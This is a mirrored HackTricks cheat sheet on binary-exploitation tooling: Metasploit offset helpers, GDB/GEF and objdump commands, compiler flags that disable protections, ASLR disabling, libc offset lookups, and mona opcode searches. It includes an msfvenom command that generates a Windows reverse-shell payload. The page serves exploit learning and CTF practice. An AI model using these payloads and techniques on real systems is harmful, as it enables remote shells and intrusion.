mirror of
https://github.com/carlospolop/hacktricks
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239 lines
9.3 KiB
Markdown
239 lines
9.3 KiB
Markdown
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Other ways to support HackTricks:
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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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# Metasploit
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```
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pattern_create.rb -l 3000 #Length
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pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
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nasm_shell.rb
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nasm> jmp esp #Get opcodes
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msfelfscan -j esi /opt/fusion/bin/level01
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```
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## Shellcodes
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```
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msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
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```
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# GDB
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## Install
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```
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apt-get install gdb
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```
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## Parameters
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**-q** --> No show banner\
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**-x \<file>** --> Auto-execute GDB instructions from here\
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**-p \<pid>** --> Attach to process
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### Instructions
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\> **disassemble main** --> Disassemble the function\
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\> **disassemble 0x12345678**\
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\> **set disassembly-flavor intel**\
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\> **set follow-fork-mode child/parent** --> Follow created process\
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\> **p system** --> Find the address of the system function\
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\> **help**\
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\> **quit**
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\> **br func** --> Add breakpoint to function\
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\> **br \*func+23**\
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\> **br \*0x12345678**\
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**> del NUM** --> Delete that number of br\
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\> **watch EXPRESSION** --> Break if the value changes
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**> run** --> Execute\
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**> start** --> Start and break in main\
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\> **n/next** --> Execute next instruction (no inside)\
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\> **s/step** --> Execute next instruction\
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\> **c/continue** --> Continue until next breakpoint
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\> **set $eip = 0x12345678** --> Change value of $eip\
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\> **info functions** --> Info abount functions\
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\> **info functions func** --> Info of the funtion\
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\> **info registers** --> Value of the registers\
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\> **bt** --> Stack\
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\> **bt full** --> Detailed stack
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\> **print variable**\
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\> **print 0x87654321 - 0x12345678** --> Caculate\
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\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii
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* **x/o 0xDir\_hex**
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* **x/2x $eip** --> 2Words from EIP
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* **x/2x $eip -4** --> $eip - 4
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* **x/8xb $eip** --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
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* **i r eip** --> Value of $eip
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* **x/w pointer** --> Value of the pointer
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* **x/s pointer** --> String pointed by the pointer
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* **x/xw \&pointer** --> Address where the pointer is located
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* **x/i $eip** —> Instructions of the EIP
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## [GEF](https://github.com/hugsy/gef)
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```bash
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checksec #Check protections
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p system #Find system function address
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search-pattern "/bin/sh" #Search in the process memory
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vmmap #Get memory mappings
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#Shellcode
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shellcode search x86 #Search shellcodes
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shellcode get 61 #Download shellcode number 61
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#Patterns
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pattern create 200 #Generate length 200 pattern
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pattern search "avaaawaa" #Search for the offset of that substring
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pattern search $rsp #Search the offset given the content of $rsp
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#Another way to get the offset of to the RIP
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1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
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2- ef➤ i f
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Stack level 0, frame at 0x7fffffffddd0:
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rip = 0x400cd3; saved rip = 0x6261617762616176
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called by frame at 0x7fffffffddd8
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Arglist at 0x7fffffffdcf8, args:
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Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
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Saved registers:
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rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
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gef➤ pattern search 0x6261617762616176
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[+] Searching for '0x6261617762616176'
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[+] Found at offset 184 (little-endian search) likely
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```
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## Tricks
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### GDB same addresses
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While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
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* `unset env LINES`
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* `unset env COLUMNS`
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* `set env _=<path>` _Put the absolute path to the binary_
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* Exploit the binary using the same absolute route
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* `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
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### Backtrace to find functions called
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When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
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You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
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```
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gef➤ bt
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#0 0x00000000004498ae in ?? ()
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#1 0x0000000000400b90 in ?? ()
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#2 0x0000000000400c1d in ?? ()
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#3 0x00000000004011a9 in ?? ()
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#4 0x0000000000400a5a in ?? ()
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```
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## GDB server
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`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
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# Ghidra
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## Find stack offset
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**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
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For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
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_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
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.png>)
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# GCC
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**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
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**-o** --> Output\
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**-g** --> Save code (GDB will be able to see it)\
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**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux
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**To compile a shellcode:**\
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**nasm -f elf assembly.asm** --> return a ".o"\
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**ld assembly.o -o shellcodeout** --> Executable
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# Objdump
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**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
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**-Mintel** --> **Intel** syntax\
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**-t** --> **Symbols** table\
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**-D** --> **Disassemble all** (address of static variable)\
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**-s -j .dtors** --> dtors section\
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**-s -j .got** --> got section\
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\-D -s -j .plt --> **plt** section **decompiled**\
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**-TR** --> **Relocations**\
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**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
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**objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section).
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# Core dumps
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1. Run `ulimit -c unlimited` before starting my program
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2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
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3. sudo gdb --core=\<path/core> --quiet
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# More
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**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
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**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
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**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
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**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
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**strace executable** --> Functions called by the executable\
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**rabin2 -i ejecutable -->** Address of all the functions
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# **Inmunity debugger**
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```bash
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!mona modules #Get protections, look for all false except last one (Dll of SO)
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!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
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```
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# IDA
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## Debugging in remote linux
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Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary:
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```
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./linux_server64 -Ppass
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```
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Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
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.png>)
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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|
|
Other ways to support HackTricks:
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|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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